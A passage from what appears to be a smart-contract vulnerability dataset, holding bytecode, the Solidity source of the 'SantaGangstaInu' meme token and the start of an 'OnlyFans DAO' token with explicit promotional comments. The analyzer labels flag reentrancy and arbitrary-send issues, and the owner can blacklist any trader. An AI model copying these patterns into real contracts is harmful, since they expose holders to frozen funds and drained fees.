8f0565b9050919050565b60006020820190508181036000830152612bd081612913565b9050919050565b60006020820190508181036000830152612bf081612936565b9050919050565b60006020820190508181036000830152612c1081612959565b9050919050565b60006020820190508181036000830152612c308161297c565b9050919050565b60006020820190508181036000830152612c508161299f565b9050919050565b60006020820190508181036000830152612c70816129c2565b9050919050565b60006020820190508181036000830152612c90816129e5565b9050919050565b60006020820190508181036000830152612cb081612a08565b9050919050565b60006020820190508181036000830152612cd081612a2b565b9050919050565b6000602082019050612cec6000830184612a4e565b92915050565b600060a082019050612d076000830188612a4e565b612d146020830187612885565b8181036040830152612d268186612818565b9050612d356060830185612809565b612d426080830184612a4e565b9695505050505050565b6000602082019050612d616000830184612a5d565b92915050565b6000612d71612d82565b9050612d7d8282612fbc565b919050565b6000604051905090565b600067ffffffffffffffff821115612da757612da66130c3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e1882612f60565b9150612e2383612f60565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e5857612e57613036565b5b828201905092915050565b6000612e6e82612f60565b9150612e7983612f60565b925082612e8957612e88613065565b5b828204905092915050565b6000612e9f82612f60565b9150612eaa83612f60565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ee357612ee2613036565b5b828202905092915050565b6000612ef982612f60565b9150612f0483612f60565b925082821015612f1757612f16613036565b5b828203905092915050565b6000612f2d82612f40565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f8282612f60565b9050919050565b60005b83811015612fa7578082015181840152602081019050612f8c565b83811115612fb6576000848401525b50505050565b612fc582613106565b810181811067ffffffffffffffff82111715612fe457612fe36130c3565b5b80604052505050565b6000612ff882612f60565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561302b5761302a613036565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133ed81612f22565b81146133f857600080fd5b50565b61340481612f34565b811461340f57600080fd5b50565b61341b81612f60565b811461342657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220547f2ea29a4773596c059e0c6f10237736ec153d017f6f2013332e556b0a6c4164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,765 |
0x18d58861908e78378a60214d7c40618ac3fef47a
|
/**
*Submitted for verification at Etherscan.io on 2021-12-07
*/
/**
*Submitted for verification at Etherscan.io
*/
/**
*
*/
/**
SantaGangstaInu - $SGI
Santa Gangsta is robbing the bank and bringing huge rewards with him
Launching stealth !
https://twitter.com/SantaGangstaInu
https://www.santagangstainu.com/
https://t.me/SantaGangstaInu
Launching Today ✅
*
*
*/
/**
*/
/**
*
*/
/**
*
*/
/**
*
*/
/**
*/
/**
*
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SantaGangstaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "SantaGangstaInu";
string private constant _symbol = "SGI";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 2;
_teamFee = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 2;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f8578063c3c8cd8014610318578063c9567bf91461032d578063d543dbeb14610342578063dd62ed3e1461036257610114565b8063715018a61461026f5780638da5cb5b1461028457806395d89b41146102ac578063a9059cbb146102d857610114565b8063273123b7116100dc578063273123b7146101dc578063313ce567146101fe5780635932ead11461021a5780636fc3eaec1461023a57806370a082311461024f57610114565b806306fdde0314610119578063095ea7b31461016357806318160ddd1461019357806323b872dd146101bc57610114565b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600f81526e53616e746147616e67737461496e7560881b60208201525b60405161015a91906119a4565b60405180910390f35b34801561016f57600080fd5b5061018361017e366004611835565b6103a8565b604051901515815260200161015a565b34801561019f57600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015a565b3480156101c857600080fd5b506101836101d73660046117f5565b6103bf565b3480156101e857600080fd5b506101fc6101f7366004611785565b610428565b005b34801561020a57600080fd5b506040516012815260200161015a565b34801561022657600080fd5b506101fc610235366004611927565b61047c565b34801561024657600080fd5b506101fc6104c4565b34801561025b57600080fd5b506101ae61026a366004611785565b6104f1565b34801561027b57600080fd5b506101fc61051b565b34801561029057600080fd5b506000546040516001600160a01b03909116815260200161015a565b3480156102b857600080fd5b5060408051808201909152600381526253474960e81b602082015261014d565b3480156102e457600080fd5b506101836102f3366004611835565b61058f565b34801561030457600080fd5b506101fc610313366004611860565b61059c565b34801561032457600080fd5b506101fc610640565b34801561033957600080fd5b506101fc610676565b34801561034e57600080fd5b506101fc61035d36600461195f565b610a3f565b34801561036e57600080fd5b506101ae61037d3660046117bd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b5338484610b15565b5060015b92915050565b60006103cc848484610c39565b61041e843361041985604051806060016040528060288152602001611b75602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fd3565b610b15565b5060019392505050565b6000546001600160a01b0316331461045b5760405162461bcd60e51b8152600401610452906119f7565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104a65760405162461bcd60e51b8152600401610452906119f7565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104e457600080fd5b476104ee8161100d565b50565b6001600160a01b03811660009081526002602052604081205461051390611092565b90505b919050565b6000546001600160a01b031633146105455760405162461bcd60e51b8152600401610452906119f7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b5338484610c39565b6000546001600160a01b031633146105c65760405162461bcd60e51b8152600401610452906119f7565b60005b815181101561063c576001600660008484815181106105f857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063481611b0a565b9150506105c9565b5050565b600e546001600160a01b0316336001600160a01b03161461066057600080fd5b600061066b306104f1565b90506104ee81611116565b6000546001600160a01b031633146106a05760405162461bcd60e51b8152600401610452906119f7565b601154600160a01b900460ff16156106fa5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610452565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073a30826b033b2e3c9fd0803ce8000000610b15565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077357600080fd5b505afa158015610787573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ab91906117a1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f357600080fd5b505afa158015610807573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082b91906117a1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087357600080fd5b505af1158015610887573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ab91906117a1565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108db816104f1565b6000806108f06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561095357600080fd5b505af1158015610967573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098c9190611977565b5050601180546a108b2a2c2802909400000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a0757600080fd5b505af1158015610a1b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063c9190611943565b6000546001600160a01b03163314610a695760405162461bcd60e51b8152600401610452906119f7565b60008111610ab95760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610452565b610ada6064610ad46b033b2e3c9fd0803ce8000000846112bb565b9061133a565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610452565b6001600160a01b038216610bd85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610452565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610452565b6001600160a01b038216610cff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610452565b60008111610d615760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610452565b6002600a556008600b556000546001600160a01b03848116911614801590610d9757506000546001600160a01b03838116911614155b15610f76576001600160a01b03831660009081526006602052604090205460ff16158015610dde57506001600160a01b03821660009081526006602052604090205460ff16155b610de757600080fd5b6011546001600160a01b038481169116148015610e1257506010546001600160a01b03838116911614155b8015610e3757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4c5750601154600160b81b900460ff165b15610ea957601254811115610e6057600080fd5b6001600160a01b0382166000908152600760205260409020544211610e8457600080fd5b610e8f42601e611a9c565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610ed457506010546001600160a01b03848116911614155b8015610ef957506001600160a01b03831660009081526005602052604090205460ff16155b15610f09576002600a908155600b555b6000610f14306104f1565b601154909150600160a81b900460ff16158015610f3f57506011546001600160a01b03858116911614155b8015610f545750601154600160b01b900460ff165b15610f7457610f6281611116565b478015610f7257610f724761100d565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fb857506001600160a01b03831660009081526005602052604090205460ff165b15610fc1575060005b610fcd8484848461137c565b50505050565b60008184841115610ff75760405162461bcd60e51b815260040161045291906119a4565b5060006110048486611af3565b95945050505050565b600e546001600160a01b03166108fc61102783600261133a565b6040518115909202916000818181858888f1935050505015801561104f573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61106a83600261133a565b6040518115909202916000818181858888f1935050505015801561063c573d6000803e3d6000fd5b60006008548211156110f95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610452565b60006111036113aa565b905061110f838261133a565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061116c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111c057600080fd5b505afa1580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906117a1565b8160018151811061121957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260105461123f9130911684610b15565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611278908590600090869030904290600401611a2c565b600060405180830381600087803b15801561129257600080fd5b505af11580156112a6573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b6000826112ca575060006103b9565b60006112d68385611ad4565b9050826112e38583611ab4565b1461110f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610452565b600061110f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113cd565b80611389576113896113fb565b61139484848461142d565b80610fcd57610fcd600c54600a55600d54600b55565b60008060006113b7611524565b90925090506113c6828261133a565b9250505090565b600081836113ee5760405162461bcd60e51b815260040161045291906119a4565b5060006110048486611ab4565b600a5415801561140b5750600b54155b156114155761142b565b600a8054600c55600b8054600d55600091829055555b565b60008060008060008061143f8761156f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061147190876115cc565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114a0908661160e565b6001600160a01b0389166000908152600260205260409020556114c28161166d565b6114cc84836116b7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161151191815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce8000000611543828261133a565b821015611565576008546b033b2e3c9fd0803ce800000093509350505061156b565b90925090505b9091565b600080600080600080600080600061158c8a600a54600b546116db565b925092509250600061159c6113aa565b905060008060006115af8e87878761172a565b919e509c509a509598509396509194505050505091939550919395565b600061110f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd3565b60008061161b8385611a9c565b90508381101561110f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610452565b60006116776113aa565b9050600061168583836112bb565b306000908152600260205260409020549091506116a2908261160e565b30600090815260026020526040902055505050565b6008546116c490836115cc565b6008556009546116d4908261160e565b6009555050565b60008080806116ef6064610ad489896112bb565b905060006117026064610ad48a896112bb565b9050600061171a826117148b866115cc565b906115cc565b9992985090965090945050505050565b600080808061173988866112bb565b9050600061174788876112bb565b9050600061175588886112bb565b905060006117678261171486866115cc565b939b939a50919850919650505050505050565b803561051681611b51565b600060208284031215611796578081fd5b813561110f81611b51565b6000602082840312156117b2578081fd5b815161110f81611b51565b600080604083850312156117cf578081fd5b82356117da81611b51565b915060208301356117ea81611b51565b809150509250929050565b600080600060608486031215611809578081fd5b833561181481611b51565b9250602084013561182481611b51565b929592945050506040919091013590565b60008060408385031215611847578182fd5b823561185281611b51565b946020939093013593505050565b60006020808385031215611872578182fd5b823567ffffffffffffffff80821115611889578384fd5b818501915085601f83011261189c578384fd5b8135818111156118ae576118ae611b3b565b8060051b604051601f19603f830116810181811085821117156118d3576118d3611b3b565b604052828152858101935084860182860187018a10156118f1578788fd5b8795505b8386101561191a576119068161177a565b8552600195909501949386019386016118f5565b5098975050505050505050565b600060208284031215611938578081fd5b813561110f81611b66565b600060208284031215611954578081fd5b815161110f81611b66565b600060208284031215611970578081fd5b5035919050565b60008060006060848603121561198b578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119d0578581018301518582016040015282016119b4565b818111156119e15783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a7b5784516001600160a01b031683529383019391830191600101611a56565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611aaf57611aaf611b25565b500190565b600082611acf57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611aee57611aee611b25565b500290565b600082821015611b0557611b05611b25565b500390565b6000600019821415611b1e57611b1e611b25565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ee57600080fd5b80151581146104ee57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122062f32a43e7f0ea7268fbf01b4c267ec8bb6445ed23b74eaf4dab0317038e856264736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,766 |
0x41299e9500e58c1c89c4671274fc9247830ae2ba
|
/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
// SPDX-License-Identifier: Unlicensed
/*
Enjoy quality live pornography? Well OnlyFans DAO is about to make it even better! As a loving fan of the content subscription service, our founder believes in sharing the joy and create a jubilant world with our fellow appreciators of the erotic art.
OnlyFans DAO is built with this vision in mind, with every dollar you invest in our token , we shall invest the transaction tax in subscribing content from your beloved content creator of your choice, through the voting system of the DAO, we shall decide which content creator to subscribe in! Ready for more action of stocking ripping and pussy thrusting? Join Us now!
*/
//Telegram: OnlyFansDAO
//Website: onlyfans-dao.com
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
